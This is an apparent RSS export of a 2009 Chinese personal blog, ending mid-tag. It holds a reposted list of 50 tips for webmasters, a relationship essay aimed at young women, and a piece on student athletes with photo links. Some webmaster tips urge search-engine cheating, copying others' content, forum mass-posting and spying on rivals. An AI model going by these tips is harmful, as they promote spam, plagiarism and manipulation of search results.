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<title><![CDATA[╋多儿秀╋]]></title>
<description><![CDATA[依然╋多儿秀╋]]></description>
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<pubDate>Sat, 07 Nov 2009 18:02:36 GMT</pubDate>

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<title><![CDATA[[转]让站长看了不愿再做站长的50个注意事项]]></title>
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<description><![CDATA[做一个中国站长,你必须得了解以上的50个问题,如果你不了解以下的50个问题,或者只知道少于其中的40个,那么可以说你不是一个合格的站长,当然你也不可能从做网站中赚到钱,这50个问题是: <br>   <br>    1. 做站长 可以不知道asp php c++ net 但是不能不知道html语言。如果不知道一个星期搞定他。连html都不知道，以后链接怎么做，技术偷偷糊弄你几下都不知道。 <br><br>     2.做站长，一定要知道国内的小代理信不过，如果域名你是在小代理那里注册，估计等你做大了，想转移都难，很多网站做到一半，发现代理跑了，消失了。 <br><br>     3.必须知道顶级注册商，必须知道域名所有权，必须会使用whois 来查询域名是否自己的。 <br><br>     4. 必须知道只注册.net    .cn 是没有用的，你必须拿到.com 不然痛苦伴你一生。 <br><br>     5.必须知道虚拟主机没有不限制iis的，说不限制iis，都是骗你的。 <br><br>     6.必须认识100个站长，必须有最心腹的5个站长。 <br><br>     7.必须加入5个站长群，必须知道你的同行同领域的10个网站的最新动态。 <br><br>     8.必须有2个qq，一个qq随时可以做刺客或闪客。刺探测试别人的情报，为自己所用。 <br><br>     9.必须知道怎么网络赚钱，必须通晓5家联盟产品，随时放联盟广告。 <br><br>     10.必须知道seo，必须知道怎么作弊搜索，这个是站长最起码的要求。 <br><br>     11.必须至少拥有3个域名，2个空间，不然不是站长。 <br><br>     12.必须要学会尊重，互联网上每个人都是牛人，每个能上网的都是牛人，可能你的傲慢失去一次伟大的机会 <br><br>     13.必须学会偷盗，别人有好的，你必须迅速能拿下，据为己有，这样才能有超越。 <br><br>     14.必须有2个精通asp php等网络技术的朋友，随时能帮上你。 <br>     <br>     15.必须有2个不同领域的黑客朋友，万一你被搞了，有人能帮你。 <br><br>     16.必须有2个域名界的朋友，碰到好东西，有人帮你买卖指导。 <br><br>     17.必须要学会软文，一个站长不会写软文，那你就只有吃软饭了。 <br><br>     18.必须要会炒作，不能狗尾续貂，也要能一鸣惊人，放屁都要撑点力气变成放炮，网络不炒作，不能成气候 <br><br>     19.必须精通搜索，凡是有不懂的，立即 bidu   it goolge it 别老问qq <br><br>     20.必须早上2点睡觉，1点前睡觉的不是站长。 <br><br>     21.必须一天工作15小时以上，不然成就不了互联网高速公路，你看高速公路上哪个驾驶员不是长途跋涉的。 <br><br>     22.必须要熟悉几个站长相关的网站：www.donews.com 看看精英嘴脸冒泡的地方 www.chinaz.com 看看能不能不花钱弄到源码的地方，www.im286.com   看看站长吹水的地方，www.admin5.com 学习软文炒作的地方。www.csdn.net 找程序员帮手的地方 <br><br>     23.必须要知道网络怎么赚钱，网站是依靠流量来赚钱的，而不是依靠欺骗下线来赚钱的。 <br><br>     24.必须要知道小联盟，日付联盟都是日你欺骗你的。 <br><br>     25.必须要知道高价买你广告的人，比你聪明，都是欺骗你的流量来挂木马病毒的。 <br><br>     26.必须要熟悉国内500个论坛，而且会使用论坛群发机的。 <br><br>     27.必须通晓网络现成的cms的，现在手工做站，原创做站的都是劳模。也是老马。拼的老命赚不了钱的。所以必须学会copy，必须学会采集。 <br><br>     28.必须放弃做门户，做大的理念，目前国内没有一个人，没有一个个人网站能做到门户，做一个最小的领域，你就已经成功了。 <br><br>     29.必须学会看alexa。 不知道世界排名怎么看的人，没有动力的 <br><br>     30.必须要会用统计，知道分析流量来源和趋势，知道自己的用户群体在哪里。 <br><br>     31.必须要知道中国的50家免费收录网站的网址站信息。 <br><br>     32.必须要知道什么是色情，什么是违法。告诉我，什么是色情？不激发别人的那个方面的欲望。和性感的图片，更不能露，你不是mop，你不是信息港，你是个人，所以你必须拒绝色情的边。什么是违法，搜索一下法律方面的书，把互联网法规多读几遍。 <br><br>     34. 知道有哪些是绝对不能碰的地盘吗？情色贴图论坛，不能做医药，不能做...赌博，不能做那个蛤蟆功的。不能做一切反动的东西，包括反百度，（你反了，百度怎么活），反黑客（你反了，人家怎么过）。另外还不能做涉及到别人隐私方面的。还有不能做涉及到版权方面的。所以 音乐不能做，下载不能做，图片不能做，小说不能做，文字不能做，电影不能做，另外链接如果有非法链接，也是禁止的，所以网址站也不能做。 <br><br>     35.做站长必须知道pv ip pr iq 等等这些基本概念，不然你交流很困难，你甚至做网站都找不到北。 <br><br>     36.做站长，必须知道有漏洞，必须知道备份，必须知道保密。必须知道机密和你的网站核心。 <br><br>     37.做站长必须熟悉域名行情，主机行情，联盟行情 这些密切相关的行情，告诉我，这些行情都是哪里来？ <br>这问题又回到了问题22. <br><br>     38.做站长打字速度必须超过一分钟50个字，必须拥有同时与10个人交流的能力。 <br><br>     39.做站长必须学会随时改变，今天关站，明天开新站，如何迅速的转行，如何迅速的变动，改版。 <br><br>     40.做站长必须知道怎么迅速的提高流量，必须闭眼能知道迅速推广你的网站的50条方法。 <br><br>     41.站长的起码流量要求是这样：1000ip以下是个人主页。10000ip以下是爱好者做着玩的，3万ip以下是小站长，10万ip以上是中等站长，20万ip以上是混的不错的站长，50万ip以上称为大站长，这个时候你才可以刁起来，才可以不理人，才可以出席各种会议。100万ip以上，才能被称为偶像。看清流量，看ip说话，所以别看到站长就膜拜。 <br><br>     42.站长必须不考虑融资，那些融资，投资都=pz 你要考虑融资的事情了，告诉你，你已经超越站长了，就如同离团了一样。 <br><br><br>     43.站长最关心的10件事情，你必须每天必到，缺一不可：看统计，看新闻，搞流量，赚钱 qq交流群，泡论坛，看邮件，看搜索收录，加内容，做一件公益事情。 <br><br>     44.站长必须是苦行僧，站长的帅气不在外表，并且常常流量与外表成反比。你想酷，你想潇洒，就别做站长。对mm，也一样，你想闭月羞花，你想沉鱼落雁，远离站长。站长是职业疾病最严重的群体，比下矿井的，比炼冶金的要中毒的更深。大街上你看到衣衫褴褛，神智萎靡，出手大方的那就是站长。 <br><br>     45.站长都没有好口才，一流的写作和宣传能力，在网络上无所不能，绝技丛生，在现实中犹如虎落平阳。这个方面，结合44点，希望通过此文，有好事者能发动倡议一些活动，能改变一些目前站长的面貌。不能为站而牺牲了青春，虽然我也中毒很深，但是我已经老了，快50的人了，不希望你们年轻人跟我一样。希望chinaz   admin5 im286 能带动站长们改变一下。引导一下，扭扭屁股 扭扭腰，赚了钱，还又轻松。你们是一群伟大的中国式个人站长，青春为你们而光彩，可别让青春为网络而遭殃。 <br><br>     46.站长必须要学习，那些不学无术，靠点小聪明做网站的，很快就不能再做站长，竞争的加剧，只有学习，不停的努力，才能永久的留在站长的位置上。 <br><br>     47.站长应该通晓做人，做站如做人，记住周鸿祎兄弟的话：做站如做人，心态决定一切。别看我搞插件，那也是为了全国不会中文的网民着想。 <br><br>     48. 站长要有自己的内容，没有给网络新意的，那是软件的复制功能不是站长。 <br><br>     49.做站长学会感恩，网络上别人帮助了你，你就要帮助别人，你找不到原来帮助过你的人，你就要把你的感谢的心，传达给别人，给更多人恩赐，你将会发现你会被照顾。 <br><br>     50. 本来准备写一百个，发现写的时候，突然发现很多自己并不能做到，本以为我是一个标准的站长，看来我也不是，最后一点，站长要时刻反思自己，想起前段时间的反思2006，站长更应该随时反省自己。反省是一个提高的过程，只有看到了问题，才能解决问题，看不到问题的站长，是一个最大的问题 <br><br>     以上50点，是站长起码要通晓的50点，欢迎抛砖，砸我的观点，别砸我的人，我也跟大家一样，是一个普通的想努力改变自己的站长，但是一直不能成功，现在还是在做一个社区，做了3年，还不到10万ip。。痛心自己的荒芜，也给更多站长的启示。如果你觉得不好，提点意见 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[123829043@qq.com(╋多儿秀╋)]]></author>
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<pubDate>Sat, 07 Nov 2009 18:02:36 GMT</pubDate>
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<title><![CDATA[就是喜欢这样的文章..]]></title>
<link>http://123829043.qzone.qq.com/blog/1250378201</link>
<description><![CDATA[<span style="font-size:13px;line-height:1.8em;">是不是女孩从13岁起，每个月多花几个卫生巾钱（当然得是生理上正常的女性朋友们）觉得自己特冤，所以都憋着让男朋友（老公）给自己花钱啊？其实男人的钱也不是大风刮来的……     我在想，为什么女性朋友比男性朋友的平均寿命长，除了女性大多不常抽烟饮酒以外，还有一个主要原因，即男人要负担的社会责任更重，男人要承受的生活压力要比女人多得多。 </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">你是女孩，你可以想起一出是一出地瞎闹，烦了就哭美了就乐，你撒娇你任性，你翻着跟头抒发自己的感情，什么时候折腾舒服了什么时候算。没人说你什么……女孩嘛，感性一些，大家都能原谅你的情绪化。你可以不计后果不失时机地犯犯间歇性神经病，然后美其名曰：我们每个月都有那么几天……我不是故意的啦…… </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">     你想想，是不是每次你撒着娇对他说这话的时候，他都会潇洒地揽你入怀说，你发脾气也很可爱！这老招屡试不爽，即使你犯病的时候一脚踢死他们家养了十年的猫。人家谁愿意和你置气啊？ </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">    你就没想过你凭什么啊！谁都不缺奶奶！ </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">    他现在爱你，你骑他头上撒尿都行。你别太过，把男人逼急了，你丫爱谁谁！你以为你真是还珠格格呢！你们家祖坟上长那根蒿子了么？ </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">女人要怀有一颗珍惜之心，珍惜那个依着你由着你性子的人。你要记得，若不是他爱你，你什么都不是！</span><wbr />说得阴暗一点，女人要学会居安思危，给自己留条后路。 </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">    是，他现在拿你当老佛爷贡着，等你习惯了，以为这就是属于你的生活了，他一下变了心，你可哭都找不着坟头儿。平时收敛一点，也是对自己的一种保护。咱那点“刁蛮”劲，老使就不管用了，还是留到关键时刻好，你说呢？   </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">    女人似乎总喜欢问一些诸如你真的喜欢我么、我和你妈掉河里你先救谁、我和她谁漂亮……要是你不重要的话，人家每天强忍着回答同一个问题10遍之多是为了什么？要是你不重要，你都咒人家妈了人家还强颜欢笑哄着你是为了什么？ </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">   如果你嫌你的男人没本事，就趁早找一个有本事的去，免得以后结了婚有了孩子，再后悔就晚了，别给自己找活罪受。你男人没本事赖谁啊？当初是谁该好好上学不好好上学，为了你翘课来着？当初是谁该好好上班不好好上班，为了你旷工来着？你到底是让他陪着你，还是让他专注事业？你以为你男人是耶和华啊？你干脆多找几个，有给你挣钱的，有给你争脸的，有点灯说话的，有吹灯拔蜡的得了！你知道么，男人最讨厌你满脸旧社会地往床上一歪，就开始没完没了数落他这也不行那也不行，有行的，你配么？咱得知道自己值多少钱一两！别一边要爱情要浪漫要人家逢年过节送你玫瑰，一边又要现实要生活要人家攒钱给你买房买车。你以为男人都和盖茨有一腿啊！ </span><wbr /> <br><span style="color:#cc66ff;line-height:1.8em;"><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">男人在外面讨生活是很不容易的，有的时候，他们的感情也很脆弱，可是他们还要保持理智保持冷静保持坚强！你不会明白，那有多难！扪心自问，女人在这个社会上如果实在混不下去了，还有最后一条路，找个人嫁了，做职业家庭主妇。别人说不出你什么来。而你男人，他混得下去也得混，混不下去还得拼了老命地混；更何况还拖着一个姑奶奶混；更何况往后还得拖着一个甚至更多的小少爷小姑奶奶（你们的结晶）混啊？你想过么…… </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">如果说你不知道怎样省钱，不如自己也想办法赚点钱，而不是一味抱怨自己嫁错了郎。你的东西，至少应该有一半是自己买的，那样即使他负了你，你可以给自己一个机会，把他买给你的东西撕烂了拽丫脸上解解气！而不至于把人家买的东西都毁掉之后，自己光着屁股回家。 </span><wbr /></span><wbr /> <br></span><wbr /><span style="color:#5c6672;font-size:13px;line-height:1.8em;">即使你们已经决定结婚，也多给你男人一些空间吧。他会明白而且感激你的，相信我。再爱你他也是个男人，你可以不去理解他为什么看起球赛来就忘记你的存在、你可以不理解他为什么每周都要和哥们出去喝几次小酒、你可以不理解他为什么能随口就有瞎话等着你,你只要接受就可以了；因为那些事是不需要你去理解的。就像他不会理解，你的衣柜里有你一天一件换到80岁都不重样的衣服一样，虽然他不理解，但依然愿意为你相中的一条裙子，去吃半个月的素。 </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">我想说，男人不在我们身边的时候，除了去胡搞乱搞还有挥霍他的钱以外，我们还有很多事情可以做。比如，回家看看你的父母，吃他们给你做的饭，听听他们忆苦思甜；比如，去他家帮他父母打扫一下卫生，活动活动筋骨；比如，约个姐们找地方锻炼锻炼身体，将好身材保持到底；比如，找几本经典，给自己充充电，提高一下素养，别觉得一天到晚傻呵呵的当个胸大无脑丢了好找的蠢货，是件特露脸的事；书实在看不下去，看盘也成，又臭又长的韩剧就别看了，看完了更默叽，看看有点技术含量的，女人必须还是得以内养外的；要是有点追求，业余时间我劝你练练字，挥毫泼墨就免了，只要赶明儿给你儿子签字的时候，别让老师冤枉是你们家孩子自己签的，罚小丫挺门口站着去就行了。 </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">男人回家了，你能笑着就别丧这个脸了，干嘛啊，苦大仇深的？你男人是杀你爸爸那仇人么？你跟了他不会是想演绎一出女版的伤城吧？这个时候，把你平时苦练的厨艺展示展示，饭桌上把你偷学的“学问”拿出来吓唬吓唬他，跟他聊聊姚明易建联，侃侃世乒欧锦，说说基金走势祖国政策……比一来就家长里短强多了。 </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">     <span style="color:#ff99ff;line-height:1.8em;">有这么一个出得厅堂入得厨房的好媳妇，你想让他有外遇都难！</span><wbr />男人是很怕麻烦的，只要家里的还好使，他绝不浪费时间精力金钱再重新建立一段感情，除非他还很幼稚。要是他厌烦了你，你就先从自己身上找原因吧！ 曾经我一知己说过这样一句话：我爱你，我可以给你当牛做马，但你别真把我当牛马使唤！这话让我感触颇深……<span style="color:#ff99ff;line-height:1.8em;">姑娘们啊，在你心里，他就真的是牛马么？你知道，你的一生中，遇到一个甘心为你做牛马的人，是多大的造化么？为年幼无知的娇纵默哀…… </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">     如果男人真的不要你了，那就是肯定不要你了。我的意思是说，你最好别纠缠了。他不和你好了，不用歇斯底里地探寻因由了，我告诉你吧，真相只有一个，你不足够好。<span style="color:#ff99ff;line-height:1.8em;">我也困惑过很久，女人的愚蠢，究竟源溪何处？至今，最能让我信服的答案，是依赖。女人总是把原本不属于自己的东西死死地认定为是自己的，然后患得患失；更好玩的是，明明是自己不懂珍惜刁蛮成性而导致失去的东西，她们非要说成是别人的背叛，这点让男人挺没辙的。</span><wbr />老说女人是弱势群体，这矫情劲上来，不一定谁弱呢。你的痛苦，是你老觉得自己是受害者，那你不自找的么？我不得不给你这样的忠告：认真游戏，但牢记只是游戏。 </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">     你得面对，最能考验你们感情的，其实是一件很恶俗的东西——钱。我之所以不反对早恋，是因为，也许只有在学生时代的恋爱，才是最傻X的，傻X得那么纯净。那时候，是男人最不得志的时候，他没房没车没钱，就算他整天想着和你上床，也是因为他风华正茂生理上的确有这个迫切需要。而那时候，是女人最得意的时候，她年轻天真纯洁，没有逼着男人给她买SK2、LV……一个前途未知的穷小子领着一个缺心少肺的傻姑娘，一路傻了吧唧地走着。你们一路走来，走过每天放学要经过的小吃店、走过顶风冒雪也想多腻味一会的车站、走过情人节他只送了你一支玫瑰的天桥、走过逃了不计其数次课的教室后门……<span style="color:#ff99ff;line-height:1.8em;">一直走到今天，面对声色犬马的物质诱惑，你犹疑过么…… </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">     其实，归根结底，<span style="color:#ff99ff;line-height:1.8em;">我想告诉我的男人，我爱你，我也离不开你，我也想24小时和你腻在一起；但还是因为我爱你，我强迫自己独立。 </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">我想告诉我的男人，我希望你有钱，因为我骨子里有所有女人有的贪婪和虚荣；你可以不养着我，但你要有养我的能力。 </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">我想告诉我的男人，如果你有一块钱，那我要你花五毛钱给我买一串我爱吃的麻辣烫；如果你有一千元，我们必须得去吃一次我想吃的三千里，不然，你凭什么说你是爱我的？ </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">     如果，所有感情的问题，都可以用钱来解释和解决，那该有多好……但你要知道，只要能用钱解决的事，就都不叫事！我还是想把我的爱情，放在比金钱更神圣一步的位置上。 </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">    要是我的男人真的就没那本事，我就忍了，弄不好他有了本事，我就没了他呢。他没逼我长成曼玉嘉欣，我没理由逼他盖过李嘉诚。 </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">闲来无事，谨以此文献给包括我在内的让人欢喜让人忧的女孩子们；顺便祝包括我在内的大家，每天都由内而外散发着让人难以抗拒的魅力——性的魅力和人的魅力。 </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;">最后，把我认为的一些很好的习惯贴出来，和可爱的你一起分享；强烈希望，姐妹们看完之后，除了可爱，更多几分优雅！ </span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">1.养成每天写点什么的习惯，哪怕是记录，哪怕只言片语。 </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">2.不认同别人的看法很正常，因为你有一个独立的CPU,但学会尊重。 </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">3.别和你爷们儿吵架了，才想起你姐们儿我，再这样恕我概不接待！ </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">4.就算你长得的确赛过张柏芝，也别搞出“陈冠希事件”，珍惜上天给你的优越条件，潜龙勿用。 </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">5.注重内心，但别不修边幅；男人审着美都疲劳，整天邋邋遢遢的你这儿给谁填堵呢！ </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">6.了解点国家大事，但别不近人间烟火；了解点时尚潮流，但不必盲目跟风。 </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">7.一辈子就一个男人，并不丢人！ </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">8.如果可以，要有一套自己的房子；一处纯纯粹粹属于你自己的落脚之处。 </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">9.记住，男人身上有你一辈子也学不完的东西。你必须欣赏男人。至于欣赏什么样的男人，欣赏男人的什么，我想在于你的品位。 </span><wbr /></span><wbr /> <br><span style="font-size:13px;line-height:1.8em;"><span style="color:#ff99ff;line-height:1.8em;">10.一切条件允许，在适当的时候，做母亲吧。</span><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[123829043@qq.com(╋多儿秀╋)]]></author>
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<pubDate>Sat, 15 Aug 2009 23:16:41 GMT</pubDate>
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<title><![CDATA[体育生]]></title>
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<description><![CDATA[体育生在别的同学甚至是老师眼中是什么？他们说你们狂，你们傲，你们目中无人，你们凭什么，你们有什么资本？那好现在我就告诉你们我们凭什么！  <br>你们在乘凉时，我们在烈日下一遍遍练习起跑  <br> <br>你们在吹风时，我们在曝晒中一次次重复冲刺  <br> <br>你们捂着羽绒服避着寒风时，我们在三九天跑的浑身大汗  <br> <br>你们拿着羽毛球拍锻炼身体时，我们耍着杠铃片自娱自乐，  <br> <br>你们喝茶水饮料时，我们得喝那恶心的要命的肌酸  <br> <br>你们放学拎着大包小包去聚餐时，我们却得拎着臭鞋带这一身的疲惫去洗澡换衣服  <br> <br>你们围着操场跑个圈说什么健康减肥真累，可是我们得以每天至少四十圈一万多米当生活  <br> <br>你们体育课结束走下操场时蹦蹦跳跳大呼玩的不爽，可我们下课时连迈腿的力气都没有，只能互相搀扶  <br> <br>你们拿葡萄糖当营养，我们恨不得把这些当饭吃  <br> <br>你们崴了脚有人疼，请假回家无人敢拦，可是我们崴脚要忍，要的学会怎样使疼痛降到最低因为我们还要继续甚至挨教练骂  <br> <br>你们没事了想哪个女孩多漂亮，我们没事了得想杠铃怎么能推的更多  <br>你们3年高中把自己保养的皮白肉嫩，我们肩上的皮手上的茧却脱了一层有一层。  <br>你们学习好被称只为聪明，可我们专业好了却被暗骂四肢发达  <br> <br>多少次风雨中起跑，多少次烈日下冲刺，挥汗如雨  <br> <br> <br>多少次摔了爬起，多少次伤了继续，多少次泪汗同流，依旧无惧。                          <br>练了体育才知道，汗流多了，衣服上会有白花花的盐粒的  <br> <br>练了体育才知道，冬天的风是可以在身上划出口子的  <br> <br>练了体育才知道，肌肉拉伤是那么疼的  <br> <br>练了体育才知道，长跑下来会有人休克的  <br> <br>练了体育才知道，原来崴脚也能成为家常便饭的  <br> <br>练了体育才知道，肉皮掉的时候也可以是一层一层的  <br> <br> <br>练了体育才知道，长跑下来连呼吸都是疼的要命的 <br> <br>练了体育才知道，操场上任何地方都能当床的  <br> <br>练了体育才知道，两个练体育的碰面两分钟就能成亲人的  <br> <br>练了体育才知道，一起练体育的人，是可以铁一辈子的  <br> <br>练了体育才知道，不只有军人才有铁与血的风采                                            <br>练了体育才知道，人是没有克服不了的困难的                                                <br>1年的同甘共苦，1年的风雨兼程，我们从未放松，永不止步  <br> <br> <br> <br>“流血流汗不流泪，掉皮掉肉不掉队”这句形容军人的话，已经被每一个体育人当成了队规，深深的刻在了的骨子里，“我们谁都不服，就服墙，因为墙只能倒不会弯；我们什么都会，就不会谦虚，因为谦虚代表软弱；但我们懂得低调，因为低调是最牛逼的炫耀！”这才是每个体育人的真实写照！<wbr /><a href="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c72430fd06750ed833754aebf39f65f1f911e2e66e175962df646a896fcd6a2cc61f6b8feb1b52ae8c9362ab42b4b2b4e897ff4a3c608f45bc7e1cd05ec8a3a3e43f0a70e02f" target="_blank"><img style="width:670px;height:502px;border:0;" src="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c72430fd06750ed833754aebf39f65f1f911e2e66e175962df646a896fcd6a2cc61f6b8feb1b52ae8c9362ab42b4b2b4e897ff4a3c608f45bc7e1cd05ec8a3a3e43f0a70e02f" /></a><wbr /> <br>照片描述：彪悍队 <br><wbr /><a href="http://b17.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c72414d6b66379b6327cfda87f981435f98d26c76aaaf4e6b337839f24aca06a8973e308e4d2eea9280e23f97d168f46f677a8d5560c0abb181bc3b7f5cdbd1c32f44b2ca679" target="_blank"><img style="width:670px;height:446px;border:0;" src="http://b17.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c72414d6b66379b6327cfda87f981435f98d26c76aaaf4e6b337839f24aca06a8973e308e4d2eea9280e23f97d168f46f677a8d5560c0abb181bc3b7f5cdbd1c32f44b2ca679" /></a><wbr /> <br>照片描述：田径队聚会！ <br><wbr /><a href="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c7249fda70c464bcb0045f64ee2bf1c09065324e36911ec78c6427362897ff8517b45bef0fc45a43b05392edbaa6ce1f03ab00e6691dcf4daee083947e033a05c1d8a00582bc" target="_blank"><img style="width:670px;height:446px;border:0;" src="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c7249fda70c464bcb0045f64ee2bf1c09065324e36911ec78c6427362897ff8517b45bef0fc45a43b05392edbaa6ce1f03ab00e6691dcf4daee083947e033a05c1d8a00582bc" /></a><wbr /> <br>照片描述：田径队聚会！ <br><wbr /><a href="http://b17.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c724b9df95ca220f4971d5356e8adf1f77f306431e1c376a22777588b5638ac95566d0cf383ad25ab913fbafc5908959d525a2266b1f4edbfc5c7823132734d3a5186da532d1" target="_blank"><img style="width:670px;height:446px;border:0;" src="http://b17.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c724b9df95ca220f4971d5356e8adf1f77f306431e1c376a22777588b5638ac95566d0cf383ad25ab913fbafc5908959d525a2266b1f4edbfc5c7823132734d3a5186da532d1" /></a><wbr /> <br>照片描述：田径队聚会！ <br><wbr /><a href="http://b16.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c724adc972ccc4c09aa65ec22e7ccddbb5fe9d3b9ca5d61e18ff958b5b53196d229483f00cb56ef4ae52b41d7b57018b64156d718ab712b9aee01a3ecf4fd8b40911ed0c2ac6" target="_blank"><img style="width:670px;height:446px;border:0;" src="http://b16.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c724adc972ccc4c09aa65ec22e7ccddbb5fe9d3b9ca5d61e18ff958b5b53196d229483f00cb56ef4ae52b41d7b57018b64156d718ab712b9aee01a3ecf4fd8b40911ed0c2ac6" /></a><wbr /> <br>照片描述：田径队聚会！<wbr /><a href="http://b17.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c7242c47007a78e306f894d0def0bdab515ce6afd491a1969cfab0c3959b32d883f30461d773f271ca7fce6e90bf60cdc331ff323d98081e13fc8e46e0e243a9f750ced4d9bc" target="_blank"><img style="width:670px;height:446px;border:0;" src="http://b17.photo.store.qq.com/http_imgload.cgi?/rurl4_b=a03d1a66ca1db93202d484870e55c7242c47007a78e306f894d0def0bdab515ce6afd491a1969cfab0c3959b32d883f30461d773f271ca7fce6e90bf60cdc331ff323d98081e13fc8e46e0e243a9f750ced4d9bc" /></a><wbr /> <br>照片描述：田径队聚会！ <br><wbr /><a href="http://b8.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc544e281913a2932cc78430e564f9a0b59ae13d67af2f6d8bad9bde18bf51a8307f9b78715682e0c2500c126beeaafe38208672e86546eccda8c0d7891c13998400ca05d9073" target="_blank"><img style="width:600px;height:800px;border:0;" src="http://b8.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc544e281913a2932cc78430e564f9a0b59ae13d67af2f6d8bad9bde18bf51a8307f9b78715682e0c2500c126beeaafe38208672e86546eccda8c0d7891c13998400ca05d9073" /></a><wbr /> <br>照片描述：丰胸 训练累了就要休息 <br><wbr /><a href="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc544002c07e970c963c055a7d951a1cc778e34b0dde7971e90800ecb609d84843bc8656ee18dfd7898a7ebd826c8ff9754f5a98b8c8508912c69ccad82fd9b6cbc5f5d2aee11" target="_blank"><img style="width:600px;height:800px;border:0;" src="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc544002c07e970c963c055a7d951a1cc778e34b0dde7971e90800ecb609d84843bc8656ee18dfd7898a7ebd826c8ff9754f5a98b8c8508912c69ccad82fd9b6cbc5f5d2aee11" /></a><wbr />  <br>我和丰胸 <br> <br><wbr /><a href="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc54433a1ac8ec673c9b8891d9d61a7e3c3d891cf45741d4d774b85b0a60cc3c8edecf84324355cb76d63cc7b17b7cf5d8ef4969276493e0053ff18c538d54e6fc83036665646" target="_blank"><img style="width:600px;height:800px;border:0;" src="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc54433a1ac8ec673c9b8891d9d61a7e3c3d891cf45741d4d774b85b0a60cc3c8edecf84324355cb76d63cc7b17b7cf5d8ef4969276493e0053ff18c538d54e6fc83036665646" /></a><wbr /> <br>照片描述：丰胸猥琐得样子 <br><wbr /><a href="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc54473c3cc3137ad65676eb90316a61839393c9ccf268b2be2500992f2e184d07307643cf37a8e8262e7bf176cc0d1fc75e46a9d45b488a8bf6a08ecd740d62248fe48ba9539" target="_blank"><img style="width:600px;height:800px;border:0;" src="http://b19.photo.store.qq.com/http_imgload.cgi?/rurl4_b=f83a822685a9050cfe9bd516563bc54473c3cc3137ad65676eb90316a61839393c9ccf268b2be2500992f2e184d07307643cf37a8e8262e7bf176cc0d1fc75e46a9d45b488a8bf6a08ecd740d62248fe48ba9539" /></a><wbr /> <br>照片描述：某天训练玩得夜晚~ <br><wbr /><a 